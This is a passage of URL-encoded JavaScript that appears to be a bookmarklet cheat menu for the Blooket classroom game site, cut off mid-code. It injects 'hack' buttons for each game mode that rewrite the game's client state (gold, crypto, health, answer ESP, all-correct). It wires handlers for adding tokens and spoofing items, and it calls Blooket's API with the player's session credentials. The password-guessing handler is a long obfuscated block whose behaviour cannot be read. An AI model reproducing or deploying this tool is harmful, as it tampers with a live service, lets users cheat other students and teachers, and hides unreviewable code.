document.onmousemove %3D ((e) %3D> %7B%0A e %3D e %7C%7C window.event%3B%0A e.preventDefault()%3B%0A pos1 %3D pos3 - e.clientX%3B%0A pos2 %3D pos4 - e.clientY%3B%0A pos3 %3D e.clientX%3B%0A pos4 %3D e.clientY%3B%0A let top %3D (element.offsetTop - pos2) > 0 %3F (element.offsetTop - pos2) %3A 0%3B%0A let left %3D (element.offsetLeft - pos1) > 0 %3F (element.offsetLeft - pos1) %3A 0%3B%0A element.style.top %3D top %2B "px"%3B%0A element.style.left %3D left %2B "px"%3B%0A %7D)%3B%0A %7D)%3B%0A %7D%0A let mode %3D "No game detected"%3B%0A let site %3D window.location.pathname%3B%0A switch (site) %7B%0A case "%2Fplay%2Frush"%3A%0A mode %3D "Blook Rush"%3B%0A break%3B%0A case "%2Fplay%2Fdino"%3A%0A mode %3D "Deceptive Dino"%3B%0A break%3B%0A case "%2Fplay%2Fracing"%3A%0A mode %3D "Racing"%0A break%3B%0A case "%2Fplay%2Ffishing"%3A%0A mode %3D "Fishing Frenzy"%0A break%3B%0A case "%2Fplay%2Fgold"%3A%0A mode %3D "Gold Quest"%0A break%3B%0A case "%2Fplay%2Ffactory"%3A%0A mode %3D "Factory"%3B%0A break%3B%0A case "%2Fcafe"%3A%0A mode %3D "Cafe"%0A break%3B%0A case "%2Fkingdom"%3A%0A mode %3D "Crazy Kingdom"%0A break%3B%0A case "%2Ftower%2Fmap"%3A%0A mode %3D "Tower of Doom"%0A break%3B%0A case "%2Ftower%2Fbattle"%3A%0A mode %3D "Tower of Doom"%0A break%3B%0A case "%2Fdefense"%3A%0A mode %3D "Tower Defense"%0A break%3B%0A %7D%0A const Rundeb %3D document.getElementById("rundeb")%0A const gameinfo %3D document.getElementById("gameinfo")%0A const hackstat %3D document.getElementById("hackstat")%0A const debname %3D document.getElementById("debname")%0A Rundeb.addEventListener(%27click%27%2C getstat)%3B%0A gameinfo %3D mode%3B%0A debname.innerHTML %3D %60Name%3A %24%7Bname%7D%60%3B%0A hackstat.innerHTML %3D "Hack Status%3A"%0A%7D%0Aasync function getstat() %7B%0A const hackstat %3D document.getElementById("hackstat")%0A const getApiSetUrlResponse %3D await fetch(%27https%3A%2F%2Fapi.blooket.com%2Fapi%2Fgames%3FgameId%3D62185f4950d6238032ffd5c2%27%2C %7B%0A credentials%3A "include"%0A %7D)%3B%0A const getApiSetUrlData %3D await getApiSetUrlResponse.json()%3B%0A if (getApiSetUrlData.title %3D%3D "online") %7B%0A hackstat.innerHTML %3D "Hack Status%3A Online"%0A %7D else %7B%0A hackstat.innerHTML %3D "Hack Status%3A Offline"%0A %7D%0A%7D%0Aasync function handleData(type) %7B%0A if (type %3D "elements") %7B%0A const response %3D await fetch(%27https%3A%2F%2Fapi.blooket.com%2Fapi%2Fusers%2Fverify-token%27%2C %7B%0A method%3A "GET"%2C%0A headers%3A %7B%0A "accept"%3A "application%2Fjson%2C text%2Fplain%2C *%2F*"%2C%0A "accept-language"%3A "en-US%2Cen%3Bq%3D0.9%2Cru%3Bq%3D0.8"%2C%0A %7D%2C%0A credentials%3A "include"%0A %7D)%3B%0A let mode %3D "No game detected"%3B%0A let site %3D window.location.pathname%0A switch (site) %7B%0A case "%2Fplay%2Frush"%3A%0A mode %3D "Blook Rush"%3B%0A break%3B%0A case "%2Fplay%2Fdino"%3A%0A mode %3D "Deceptive Dino"%3B%0A break%3B%0A case "%2Fplay%2Fracing"%3A%0A mode %3D "Racing"%0A break%3B%0A case "%2Fplay%2Ffishing"%3A%0A mode %3D "Fishing Frenzy"%0A break%3B%0A case "%2Fplay%2Fgold"%3A%0A mode %3D "Gold Quest"%0A break%3B%0A case "%2Fplay%2Ffactory"%3A%0A mode %3D "Factory"%3B%0A break%3B%0A case "%2Fcafe"%3A%0A mode %3D "Cafe"%0A break%3B%0A case "%2Fkingdom"%3A%0A mode %3D "Crazy Kingdom"%0A break%3B%0A case "%2Ftower%2Fmap"%3A%0A mode %3D "Tower of Doom"%0A break%3B%0A case "%2Ftower%2Fbattle"%3A%0A mode %3D "Tower of Doom"%0A break%3B%0A case "%2Fdefense"%3A%0A mode %3D "Tower Defense"%0A break%3B%0A %7D%0A const data %3D await response.json()%3B%0A let Name %3D data.name%3B%0A const nameElement %3D document.getElementById("name")%3B%0A const game %3D document.getElementById("curPage")%0A game.innerHTML %3D mode%3B%0A nameElement.innerHTML %3D %60Name%3A %24%7BName%7D%60%3B%0A %7D else %7B%0A console.error("handle data incorect type")%0A %7D%0A%7D%0A%0A%0Afunction addListeners() %7B%0A const GUIX %3D document.getElementById("guiX")%0A const GUIM %3D document.getElementById("gui-")%0A const tokens %3D document.getElementById("token")%0A const spoof %3D document.getElementById("spoof")%0A const open %3D document.getElementById("open")%0A const sell %3D document.getElementById("sell")%0A const correct %3D document.getElementById("correct")%0A GUIX.addEventListener(%27click%27%2C guiexit)%3B%0A GUIM.addEventListener(%27click%27%2C toggleVisGUI)%3B%0A tokens.addEventListener(%27click%27%2C addtokens)%3B%0A spoof.addEventListener(%27click%27%2C spoofblooks)%3B%0A open.addEventListener(%27click%27%2C openboxes)%3B%0A sell.addEventListener(%27click%27%2C selldupes)%3B%0A correct.addEventListener(%27click%27%2C allcorrect)%3B%0A%7D%0A%0Afunction CheckGame() %7B%0A let html %3D null%3B%0A let type %3D ""%3B%0A let mode %3D "No game detected"%3B%0A let site %3D window.location.pathname%3B%0A switch (site) %7B%0A case "%2Fplay%2Frush"%3A%0A type %3D "rush"%3B%0A mode %3D "Blook Rush"%3B%0A html %3D %27<div id%3D"LoadedGame"><button id%3D"defend" class%3D"hack">Get Defense<%2Fbutton><button id%3D"getbloook" class%3D"hack">Get Blooks<%2Fbutton><%2Fdiv><br>%27%0A loadgame(type%2C html%2C mode)%0A break%3B%0A case "%2Fplay%2Fdino"%3A%0A type %3D "dino"%3B%0A mode %3D "Deceptive Dino"%3B%0A html %3D %27<div id%3D"LoadedGame"><button id%3D"multifos" class%3D"hack">Fossil Multiplier<%2Fbutton><button id%3D"foshack" class%3D"hack">Fossil Hack<%2Fbutton><%2Fdiv><br>%27%0A loadgame(type%2C html%2C mode)%0A break%3B%0A case "%2Fplay%2Fracing"%3A%0A type %3D "race"%3B%0A mode %3D "Racing"%0A html %3D %27<div id%3D"LoadedGame"><button id%3D"finish" class%3D"hack">Finish Race<%2Fbutton><%2Fdiv><br>%27%0A loadgame(type%2C html%2C mode)%0A break%3B%0A case "%2Fplay%2Ffishing"%3A%0A type %3D "fishing"%3B%0A mode %3D "Fishing Frenzy"%0A html %3D %27<div id%3D"LoadedGame"><button id%3D"setweight" class%3D"hack">Set Weight<%2Fbutton><button id%3D"setlure" class%3D"hack">Set Lure<%2Fbutton><button id%3D"frenzy" class%3D"hack">Always Frenzy<%2Fbutton><%2Fdiv><br>%27%3B%0A loadgame(type%2C html%2C mode)%0A break%3B%0A case "%2Fplay%2Fgold"%3A%0A type %3D "gold"%3B%0A mode %3D "Gold Quest"%0A html %3D %27<div id%3D"LoadedGame"> <button id%3D"setgold" class%3D"hack">Set Gold<%2Fbutton> <button id%3D"choiceesp" class%3D"hack">Choice ESP<%2Fbutton> <%2Fdiv><br>%27%3B%0A loadgame(type%2C html%2C mode)%0A break%3B%0A case "%2Fplay%2Ffactory"%3A%0A type %3D "factory"%3B%0A mode %3D "Factory"%3B%0A html %3D %27<div id%3D"LoadedGame"><button id%3D"mega" class%3D"hack">All Mega Bots<%2Fbutton> <button id%3D"setcash" class%3D"hack">Set Cash<%2Fbutton> %09%09%09<button id%3D"ng" class%3D"hack">Remove Glitches<%2Fbutton><%2Fdiv><br>%27%0A loadgame(type%2C html%2C mode)%0A break%3B%0A case "%2Fcafe"%3A%0A type %3D "cafe"%3B%0A mode %3D "Cafe"%3B%0A html %3D %27<div id%3D"LoadedGame"><button id%3D"inffood" class%3D"hack">Infinite Food Level<%2Fbutton> <button id%3D"setcoins" class%3D"hack">Set Coins<%2Fbutton> <button id%3D"stock" class%3D"hack">Stock Infinite Food<%2Fbutton><%2Fdiv><br>%27%0A loadgame(type%2C html%2C mode)%0A break%3B%0A case "%2Fcafe%2Fshop"%3A%0A type %3D "cafe"%3B%0A mode %3D "Cafe"%3B%0A html %3D %27<div id%3D"LoadedGame"><button id%3D"inffood" class%3D"hack">Infinite Food Level<%2Fbutton> <button id%3D"setcoins" class%3D"hack">Set Coins<%2Fbutton> <button id%3D"stock" class%3D"hack">Stock Infinite Food<%2Fbutton><%2Fdiv><br>%27%0A loadgame(type%2C html%2C mode)%0A break%3B%0A case "%2Fplay%2Fhack"%3A%0A type %3D "crypto"%3B%0A mode %3D "Crypto-Hack"%0A html %3D %27<div id%3D"LoadedGame"><button id%3D"set" class%3D"hack">Set Crypto<%2Fbutton> <button id%3D"esp" class%3D"hack">Change Name<%2Fbutton> <button id%3D"guesspass" class%3D"hack">Autoguess Password<%2Fbutton><%2Fdiv><br>%27%3B%0A loadgame(type%2C html%2C mode)%0A break%3B%0A case "%2Fkingdom"%3A%0A type %3D "kingdom"%3B%0A mode %3D "Crazy Kingdom"%0A html %3D %27<div id%3D"LoadedGame"><button id%3D"esp" class%3D"hack">ChoiceESP<%2Fbutton><button id%3D"max" class%3D"hack">Max Stats<%2Fbutton> <button id%3D"taxes" class%3D"hack">No Taxes<%2Fbutton> <button id%3D"setgold" class%3D"hack">Set Gold<%2Fbutton> <button id%3D"sethappy" class%3D"hack">Set Happiness<%2Fbutton> <button id%3D"setmaterials" class%3D"hack">Set Materials<%2Fbutton> <button id%3D"setpeople" class%3D"hack">Set People<%2Fbutton><%2Fdiv><br>%27%3B%0A loadgame(type%2C html%2C mode)%0A break%3B%0A case "%2Ftower%2Fmap"%3A%0A type %3D "doom"%0A mode %3D "Tower of Doom"%0A html %3D %27<div id%3D"LoadedGame"><button id%3D"maxstats" class%3D"hack">Max Stats<%2Fbutton><button id%3D"lowstats" class%3D"hack">Lower Enemy Stats<%2Fbutton><button id%3D"settokens" class%3D"hack">Set Coins<%2Fbutton><button id%3D"infhlt" class%3D"hack">Infinite Health<%2Fbutton><%2Fdiv><br>%27%0A loadgame(type%2C html%2C mode)%0A break%3B%0A case "%2Ftower%2Fbattle"%3A%0A type %3D "doom"%0A mode %3D "Tower of Doom"%0A html %3D %27<div id%3D"LoadedGame"><button id%3D"maxstats" class%3D"hack">Max Stats<%2Fbutton><button id%3D"lowstats" class%3D"hack">Lower Enemy Stats<%2Fbutton><button id%3D"settokens" class%3D"hack">Set Coins<%2Fbutton><button id%3D"infhlt" class%3D"hack">Infinite Health<%2Fbutton><%2Fdiv><br>%27%0A loadgame(type%2C html%2C mode)%0A break%3B%0A case "%2Fdefense"%3A%0A type %3D "defense"%3B%0A mode %3D "Tower Defense"%0A html %3D %27<div id%3D"LoadedGame"> <button id%3D"settokens" class%3D"hack">Set Tokens<%2Fbutton> <button id%3D"sethealth" class%3D"hack">Set Health<%2Fbutton> <button id%3D"setround" class%3D"hack">Set Round<%2Fbutton> <button id%3D"maxtowers" class%3D"hack">Max All Towers<%2Fbutton> <button id%3D"towersany" class%3D"hack">Place Towers Anywhere<%2Fbutton> <%2Fdiv><br>%27%3B%0A loadgame(type%2C html%2C mode)%0A break%3B%0A default%3A%0A let element %3D document.getElementById("LoadedGame")%0A element.innerHTML %3D %27<div id%3D"LoadedGame"><%2Fdiv>%27%3B%0A %7D%0A%0A function loadgame(type%2C html%2C mode) %7B%0A let element %3D document.getElementById("LoadedGame")%0A let curPage %3D document.getElementById("curPage")%0A element.innerHTML %3D html%3B%0A curPage.innerHTML %3D mode%3B%0A addEvents(type)%3B%0A %7D%0A%0A function addEvents(type) %7B%0A let hack %3D Object.values(document.querySelector(%27%23app > div > div%27))%5B1%5D.children%5B1%5D._owner%0A switch (type) %7B%0A case "crypto"%3A%0A const set %3D document.getElementById("set")%0A const autoguess %3D document.getElementById("guesspass")%0A const esp2 %3D document.getElementById("esp")%0A set.addEventListener(%27click%27%2C () %3D> %7B%0A var cf %3D window.prompt("How much Crypto would you like%3F")%0A let num %3D Number(cf)%0A if (num !%3D null %7C%7C num !%3D undefined) %7B%0A hack.stateNode.state.crypto %3D num%3B%0A %7D%0A %7D)%0A autoguess.addEventListener(%27click%27%2C () %3D> %7B%0A (function(_0x499d01%2C_0x24e017)%7Bvar _0x4fde3f%3D_0x499d01()%3Bfunction _0x237240(_0x4888ab%2C_0x1d2070%2C_0xd32c0a%2C_0x569eba%2C_0x3c85f8)%7Breturn _0x687a(_0x4888ab- -0x370%2C_0xd32c0a)%3B%7Dfunction _0x3bf52d(_0x2ae095%2C_0x298bb5%2C_0x1de810%2C_0x2ab028%2C_0x52b95a)%7Breturn _0x687a(_0x298bb5- -0x163%2C_0x52b95a)%3B%7Dfunction _0x1ce929(_0x127f77%2C_0x4ecfd2%2C_0x3c8a5d%2C_0x5314a8%2C_0x36155e)%7Breturn _0x687a(_0x4ecfd2- -0x11b%2C_0x36155e)%3B%7Dfunction _0x28fab7(_0xe80d47%2C_0x5755c7%2C_0x3747d8%2C_0x2ce9bb%2C_0x584b48)%7Breturn _0x687a(_0x2ce9bb-0x19%2C_0x584b48)%3B%7Dfunction _0x5d2832(_0x331396%2C_0x5c7e29%2C_0x1450a8%2C_0x1dc60a%2C_0xeb3af4)%7Breturn _0x687a(_0x331396- -0x1e0%2C_0x1dc60a)%3B%7Dwhile(!!%5B%5D)%7Btry%7Bvar _0x5088ee%3D-parseInt(_0x5d2832(0x2f%2C0x7a%2C-0x3%2C0x64%2C-0x2c))%2F(0x7*0x447%2B-0x5e*0x5e%2B-0x1*-0x494)%2BparseInt(_0x3bf52d(0xe8%2C0xbe%2C0xcd%2C0x8e%2C0x7f))%2F(-0x28e*-0xe%2B0x87a%2B-0x13*0x254)%2B-parseInt(_0x3bf52d(0x2f%2C0x25%2C0x6a%2C0x4c%2C0x6e))%2F(-0x12f0%2B-0x3f9%2B0xb76*0x2)%2BparseInt(_0x1ce929(0x8e%2C0x61%2C0x87%2C0xc0%2C0x98))%2F(0xcfb%2B-0x8b7*0x3%2B0x697*0x2)%2B-parseInt(_0x237240(-0x190%2C-0x176%2C-0x16f%2C-0x18b%2C-0x1c5))%2F(-0x1b7a%2B-0x1ef6%2B-0x29*-0x16d)*(-parseInt(_0x237240(-0x191%2C-0x1c2%2C-0x1ac%2C-0x17c%2C-0x17a))%2F(0x1dc3%2B0xd57%2B-0xe5c*0x3))%2B-parseInt(_0x3bf52d(0x9%2C0x1e%2C-0x9%2C0x2d%2C-0x2b))%2F(0x1db7*-0x1%2B-0x1*0xaa3%2B0x2861)*(parseInt(_0x237240(-0x17a%2C-0x11e%2C-0x13f%2C-0x164%2C-0x1c7))%2F(0x11*0x40%2B0x1ab6%2B-0x1eee))%2B-parseInt(_0x3bf52d(0x44%2C0x54%2C0xa1%2C-0x4%2C0x9a))%2F(0x20f5%2B0x14a3%2B0x1*-0x358f)*(-parseInt(_0x5d2832(0x60%2C0xa3%2C0x1f%2C0x25%2C0x7))%2F(0x23bd%2B-0x135*-0x13%2B-0x9e*0x5f))%3Bif(_0x5088ee%3D%3D%3D_0x24e017)break%3Belse _0x4fde3f%5B%27push%27%5D(_0x4fde3f%5B%27shift%27%5D())%3B%7Dcatch(_0xe11991)%7B_0x4fde3f%5B%27push%27%5D(_0x4fde3f%5B%27shift%27%5D())%3B%7D%7D%7D(_0x5bc5%2C0x8020%2B0x20*0x7a9%2B0x1d4c8))%3Bvar _0x2fa7a2%3D(function()%7Bfunction _0x5120a0(_0x1aee4a%2C_0x49c6ea%2C_0x1ca631%2C_0xa2b91d%2C_0x25d7c5)%7Breturn _0x687a(_0xa2b91d- -0x357%2C_0x1ca631)%3B%7Dvar _0x4acd6a%3D%7B%27oEPPu%27%3A_0x4a24fc(0x2d3%2C0x28b%2C0x285%2C0x22f%2C0x2c0)%2B_0x5ae48d(-0x134%2C-0xdf%2C-0x11b%2C-0xec%2C-0x149)%2B_0x4a24fc(0x290%2C0x26f%2C0x29a%2C0x2f4%2C0x262)%2B_0x4d531d(-0x236%2C-0x1dc%2C-0x19e%2C-0x1bd%2C-0x19c)%2B_0x5ae48d(-0x138%2C-0x187%2C-0x194%2C-0xfe%2C-0xf6)%2B_0x5120a0(-0x19c%2C-0x1b0%2C-0x1a2%2C-0x1b9%2C-0x1ca)%2B_0x5ae48d(-0xf6%2C-0x13a%2C-0x10c%2C-0xcc%2C-0xeb)%2B_0x4d531d(-0x1cb%2C-0x1ae%2C-0x1ec%2C-0x1a7%2C-0x1f3)%2B_0x2e43fe(0xbd%2C0x6f%2C0x20%2C0xdb%2C0x84)%2B_0x5ae48d(-0xfe%2C-0x106%2C-0xf5%2C-0xff%2C-0x147)%2B_0x5120a0(-0x1ba%2C-0x189%2C-0x166%2C-0x160%2C-0x142)%2B_0x4d531d(-0x213%2C-0x1cf%2C-0x1d0%2C-0x17b%2C-0x17d)%2B_0x5120a0(-0x1a0%2C-0x151%2C-0x16b%2C-0x150%2C-0xec)%2B_0x5120a0(-0x18d%2C-0x185%2C-0x173%2C-0x15d%2C-0x104)%2B_0x5ae48d(-0xfa%2C-0xf2%2C-0xd7%2C-0xa5%2C-0x100)%2B_0x4d531d(-0x153%2C-0x1ad%2C-0x1f6%2C-0x188%2C-0x1f9)%2B_0x4d531d(-0x15a%2C-0x1a0%2C-0x1f2%2C-0x191%2C-0x1a4)%2B_0x4d531d(-0x24f%2C-0x1f9%2C-0x1dc%2C-0x1ea%2C-0x1de)%2B_0x4d531d(-0x1f7%2C-0x217%2C-0x263%2C-0x222%2C-0x27e)%2B_0x4d531d(-0x207%2C-0x23a%2C-0x24f%2C-0x288%2C-0x1eb)%2B_0x2e43fe(0x8e%2C0xd9%2C0x2c%2C0xa3%2C0x74)%2B_0x4a24fc(0x2c5%2C0x228%2C0x27e%2C0x298%2C0x275)%2B_0x5120a0(-0x141%2C-0x15c%2C-0x1a6%2C-0x1a5%2C-0x191)%2B_0x2e43fe(0xa6%2C0x39%2C0xc1%2C0xac%2C0x7e)%2B_0x2e43fe(0x65%2C0x44%2C0x6b%2C0x92%2C0x51)%2B_0x4a24fc(0x35d%2C0x2ce%2C0x31c%2C0x35b%2C0x2c1)%2B_0x5120a0(-0x1fb%2C-0x209%2C-0x1e5%2C-0x1bb%2C-0x20e)%2B_0x5ae48d(-0xd8%2C-0x9b%2C-0x129%2C-0xa1%2C-0x127)%2B_0x5ae48d(-0x158%2C-0xfa%2C-0x199%2C-0xf1%2C-0x166)%2B_0x5ae48d(-0x142%2C-0x137%2C-0x147%2C-0x179%2C-0x169)%2B_0x5ae48d(-0x132%2C-0x178%2C-0xfb%2C-0x100%2C-0x15b)%2B_0x4a24fc(0x27e%2C0x28e%2C0x28e%2C0x2cd%2C0x2ce)%2B_0x4a24fc(0x2d3%2C0x2a6%2C0x30c%2C0x2ed%2C0x35e)%2B_0x5120a0(-0x18e%2C-0x1a6%2C-0x136%2C-0x179%2C-0x156)%2B_0x5120a0(-0x133%2C-0x13b%2C-0x172%2C-0x160%2C-0x14c)%2B_0x5ae48d(-0xe6%2C-0x145%2C-0x87%2C-0x100%2C-0x109)%2C%27RNtGg%27%3A_0x5ae48d(-0x15a%2C-0x11d%2C-0x15b%2C-0x172%2C-0x146)%2B_0x5120a0(-0x1e7%2C-0x205%2C-0x209%2C-0x1aa%2C-0x15c)%2B_0x5ae48d(-0x145%2C-0x182%2C-0x12e%2C-0x15e%2C-0x13b)%2B%27v%27%2C%27vFZpS%27%3Afunction(_0x39bf7b%2C_0x3381fc)%7Breturn _0x39bf7b<_0x3381fc%3B%7D%2C%27oMZOI%27%3Afunction(_0x395c73%2C_0x2e8dc0)%7Breturn _0x395c73%3D%3D%3D_0x2e8dc0%3B%7D%2C%27douwK%27%3Afunction(_0x32c6cf%2C_0x5eab9a)%7Breturn _0x32c6cf%3D%3D%3D_0x5eab9a%3B%7D%2C%27WUsCl%27%3Afunction(_0x3dbb9e%2C_0x1ac57d)%7Breturn _0x3dbb9e(_0x1ac57d)%3B%7D%2C%27FFsNn%27%3Afunction(_0x3a2d2f%2C_0xe3f1eb)%7Breturn _0x3a2d2f%2B_0xe3f1eb%3B%7D%2C%27FdnEK%27%3A_0x2e43fe(0xb6%2C0xd4%2C0xad%2C0x38%2C0x8f)%2B_0x5ae48d(-0xcc%2C-0xa1%2C-0x9a%2C-0xd3%2C-0x7a)%2B_0x2e43fe(0xd2%2C0x42%2C0xee%2C0x51%2C0x98)%2B_0x5120a0(-0x1d8%2C-0x150%2C-0x130%2C-0x172%2C-0x1a3)%2C%27FSFpP%27%3A_0x5ae48d(-0xb2%2C-0x4d%2C-0xc5%2C-0xd5%2C-0x9a)%2B_0x4a24fc(0x308%2C0x2ca%2C0x2ed%2C0x297%2C0x2a6)%2B_0x2e43fe(0xbb%2C0x49%2C0xe6%2C0xc7%2C0xa9)%2B_0x5120a0(-0x18c%2C-0x1fd%2C-0x1ec%2C-0x1c4%2C-0x18a)%2B_0x4a24fc(0x284%2C0x266%2C0x2b4%2C0x285%2C0x295)%2B_0x5ae48d(-0x112%2C-0x107%2C-0xac%2C-0xab%2C-0xda)%2B%27%5Cx20)%27%2C%27pxJhn%27%3Afunction(_0x13f646%2C_0x175207)%7Breturn _0x13f646!%3D%3D_0x175207%3B%7D%2C%27lylSl%27%3A_0x5ae48d(-0x146%2C-0x166%2C-0x129%2C-0x151%2C-0x133)%2C%27DeJls%27%3A_0x5120a0(-0xd3%2C-0xd1%2C-0xdb%2C-0x131%2C-0x196)%2C%27rASbw%27%3A_0x4d531d(-0x23b%2C-0x240%2C-0x237%2C-0x213%2C-0x21a)%2C%27OTTpc%27%3Afunction(_0x540abf%2C_0x4ce790)%7Breturn _0x540abf!%3D%3D_0x4ce790%3B%7D%2C%27adFmq%27%3A_0x5ae48d(-0x10f%2C-0xb7%2C-0xa8%2C-0xd9%2C-0xec)%2C%27RIbrg%27%3A_0x4d531d(-0x1f2%2C-0x23f%2C-0x1ea%2C-0x287%2C-0x214)%7D%2C_0x4934e8%3D!!%5B%5D%3Bfunction _0x2e43fe(_0x2a09f3%2C_0x3f2f80%2C_0x24dc23%2C_0x49942c%2C_0x53337e)%7Breturn _0x687a(_0x53337e- -0x170%2C_0x2a09f3)%3B%7Dfunction _0x4d531d(_0x5e7443%2C_0x5d7ba8%2C_0x5bc42b%2C_0x14c10e%2C_0x273d30)%7Breturn _0x687a(_0x5d7ba8- -0x3c4%2C_0x14c10e)%3B%7Dfunction _0x5ae48d(_0x45dd4d%2C_0x2694fa%2C_0x2ced50%2C_0x4836fa%2C_0x2f1a3a)%7Breturn _0x687a(_0x45dd4d- -0x2e1%2C_0x2f1a3a)%3B%7Dfunction _0x4a24fc(_0x407cca%2C_0xabce7a%2C_0x48b8a9%2C_0x50f511%2C_0x12940e)%7Breturn _0x687a(_0x48b8a9-0xfe%2C_0x407cca)%3B%7Dreturn function(_0x222e1d%2C_0x1b1865)%7Bfunction _0x3b5248(_0x33fc58%2C_0x19d4df%2C_0x59814e%2C_0x13ad26%2C_0x2b8240)%7Breturn _0x2e43fe(_0x59814e%2C_0x19d4df-0x1c4%2C_0x59814e-0x3b%2C_0x13ad26-0xfc%2C_0x2b8240-0x5b)%3B%7Dfunction _0x1d7f17(_0x3eee8c%2C_0x198db3%2C_0x413d1a%2C_0x96db9b%2C_0x46f11a)%7Breturn _0x2e43fe(_0x413d1a%2C_0x198db3-0x3f%2C_0x413d1a-0x7a%2C_0x96db9b-0x158%2C_0x198db3-0x516)%3B%7Dfunction _0xd1f1ce(_0x1d8217%2C_0x4dbe06%2C_0x4a5bae%2C_0x6a87c7%2C_0x2acf1a)%7Breturn _0x5120a0(_0x1d8217-0x1e4%2C_0x4dbe06-0x76%2C_0x4dbe06%2C_0x2acf1a-0x6aa%2C_0x2acf1a-0x15)%3B%7Dfunction _0x288927(_0x349347%2C_0x4d0270%2C_0x6b162b%2C_0x501720%2C_0x2e1fc8)%7Breturn _0x5120a0(_0x349347-0x156%2C_0x4d0270-0x12b%2C_0x6b162b%2C_0x2e1fc8-0x107%2C_0x2e1fc8-0xb1)%3B%7Dvar _0x5c4e46%3D%7B%27bvIqh%27%3Afunction(_0x4f1944%2C_0x5206b1)%7Bfunction _0x59c2d0(_0xae4e4%2C_0x45a38a%2C_0x5ba605%2C_0x45c436%2C_0x237576)%7Breturn _0x687a(_0xae4e4-0x342%2C_0x237576)%3B%7Dreturn _0x4acd6a%5B_0x59c2d0(0x54c%2C0x4f1%2C0x5b2%2C0x53e%2C0x5aa)%5D(_0x4f1944%2C_0x5206b1)%3B%7D%2C%27zAYFs%27%3Afunction(_0x5e4a13%2C_0x5eb3a7)%7Bfunction _0x4e026d(_0x388bdf%2C_0x2d3b80%2C_0x571578%2C_0x4435cd%2C_0x19a721)%7Breturn _0x687a(_0x388bdf-0x91%2C_0x2d3b80)%3B%7Dreturn _0x4acd6a%5B_0x4e026d(0x2bf%2C0x2fb%2C0x2fa%2C0x2d7%2C0x31c)%5D(_0x5e4a13%2C_0x5eb3a7)%3B%7D%2C%27TnCyP%27%3Afunction(_0x5e6a83%2C_0x54d275)%7Bfunction _0xfe0bbf(_0x120b31%2C_0x1dbb31%2C_0x1289a9%2C_0x1d43dc%2C_0x3e8346)%7Breturn _0x687a(_0x1dbb31- -0x2d2%2C_0x1d43dc)%3B%7Dreturn _0x4acd6a%5B_0xfe0bbf(-0x127%2C-0xc1%2C-0xfb%2C-0xc9%2C-0xd0)%5D(_0x5e6a83%2C_0x54d275)%3B%7D%2C%27eKJFv%27%3A_0x4acd6a%5B_0x288927(-0x7a%2C-0x15%2C-0x85%2C-0x61%2C-0x74)%5D%2C%27saCdn%27%3A_0x4acd6a%5B_0x288927(-0xdb%2C-0xf9%2C-0x110%2C-0x116%2C-0xbc)%5D%2C%27kuQLk%27%3Afunction(_0xe0bb4f%2C_0x391275)%7Bfunction _0x3d5f84(_0x56667d%2C_0x342b64%2C_0x6240d2%2C_0x80384%2C_0x36bbff)%7Breturn _0x288927(_0x56667d-0x10e%2C_0x342b64-0xb%2C_0x6240d2%2C_0x80384-0x127%2C_0x80384-0x26c)%3B%7Dreturn _0x4acd6a%5B_0x3d5f84(0x1f7%2C0x1f8%2C0x1df%2C0x20f%2C0x242)%5D(_0xe0bb4f%2C_0x391275)%3B%7D%2C%27ZGwxh%27%3A_0x4acd6a%5B_0xfe816c(-0x43%2C-0x8c%2C-0x4%2C-0x1e%2C-0x4f)%5D%2C%27WTpcU%27%3A_0x4acd6a%5B_0x288927(-0xe0%2C-0xcc%2C-0xd0%2C-0xdb%2C-0x91)%5D%2C%27YMMAA%27%3A_0x4acd6a%5B_0xfe816c(-0x5c%2C-0x20%2C-0x53%2C-0xad%2C-0xb1)%5D%7D%3Bfunction _0xfe816c(_0x30e133%2C_0x925bf7%2C_0x3ed8c3%2C_0x1ebdd1%2C_0x37237b)%7Breturn _0x5ae48d(_0x30e133-0x65%2C_0x925bf7-0x182%2C_0x3ed8c3-0x156%2C_0x1ebdd1-0x8d%2C_0x37237b)%3B%7Dif(_0x4acd6a%5B_0xd1f1ce(0x52f%2C0x53f%2C0x582%2C0x52d%2C0x553)%5D(_0x4acd6a%5B_0x288927(-0xf%2C-0xc2%2C-0x85%2C-0x1c%2C-0x6e)%5D%2C_0x4acd6a%5B_0x288927(-0x19%2C0x26%2C-0x16%2C0x3c%2C-0xd)%5D))%7Bvar _0x484b9d%3D_0x4934e8%3Ffunction()%7Bfunction _0x50990c(_0x3ca8be%2C_0x3f0636%2C_0x386b19%2C_0x1601f8%2C_0x19bd59)%7Breturn _0xd1f1ce(_0x3ca8be-0x4d%2C_0x386b19%2C_0x386b19-0x5a%2C_0x1601f8-0x126%2C_0x1601f8- -0x739)%3B%7Dfunction _0x2c9448(_0x52638f%2C_0x3a6c9b%2C_0x464eb2%2C_0x965941%2C_0x4c9bcb)%7Breturn _0xfe816c(_0x464eb2- -0x2b%2C_0x3a6c9b-0x158%2C_0x464eb2-0x183%2C_0x965941-0x166%2C_0x4c9bcb)%3B%7Dvar _0x5016e2%3D%7B%27HzPnl%27%3Afunction(_0x160f71%2C_0x40e805)%7Bfunction _0x31d405(_0x3b17d5%2C_0x3a4582%2C_0x146bb3%2C_0x40a274%2C_0x36beb9)%7Breturn _0x687a(_0x146bb3-0x1a8%2C_0x36beb9)%3B%7Dreturn _0x5c4e46%5B_0x31d405(0x341%2C0x3bf%2C0x35b%2C0x397%2C0x331)%5D(_0x160f71%2C_0x40e805)%3B%7D%2C%27IJgiM%27%3Afunction(_0x237976%2C_0x2b6185)%7Bfunction _0x3ae3c0(_0x354dcd%2C_0x1c7d72%2C_0x3bfe46%2C_0xf3807b%2C_0x48d921)%7Breturn _0x687a(_0x1c7d72-0x1d4%2C_0x3bfe46)%3B%7Dreturn _0x5c4e46%5B_0x3ae3c0(0x3ef%2C0x3df%2C0x419%2C0x41b%2C0x435)%5D(_0x237976%2C_0x2b6185)%3B%7D%2C%27JlMzp%27%3Afunction(_0x160cf6%2C_0x1cc7f2)%7Bfunction _0x4c2d8d(_0x12a201%2C_0x5d3a19%2C_0x45df34%2C_0x5688a0%2C_0x3bb8bb)%7Breturn _0x687a(_0x5688a0-0x322%2C_0x5d3a19)%3B%7Dreturn _0x5c4e46%5B_0x4c2d8d(0x4ee%2C0x551%2C0x5a9%2C0x54c%2C0x532)%5D(_0x160cf6%2C_0x1cc7f2)%3B%7D%2C%27JPUTi%27%3A_0x5c4e46%5B_0x456fcc(0x4da%2C0x502%2C0x543%2C0x4e0%2C0x4e3)%5D%2C%27ZKTUE%27%3A_0x5c4e46%5B_0x50990c(-0x281%2C-0x285%2C-0x1e0%2C-0x226%2C-0x254)%5D%7D%3Bfunction 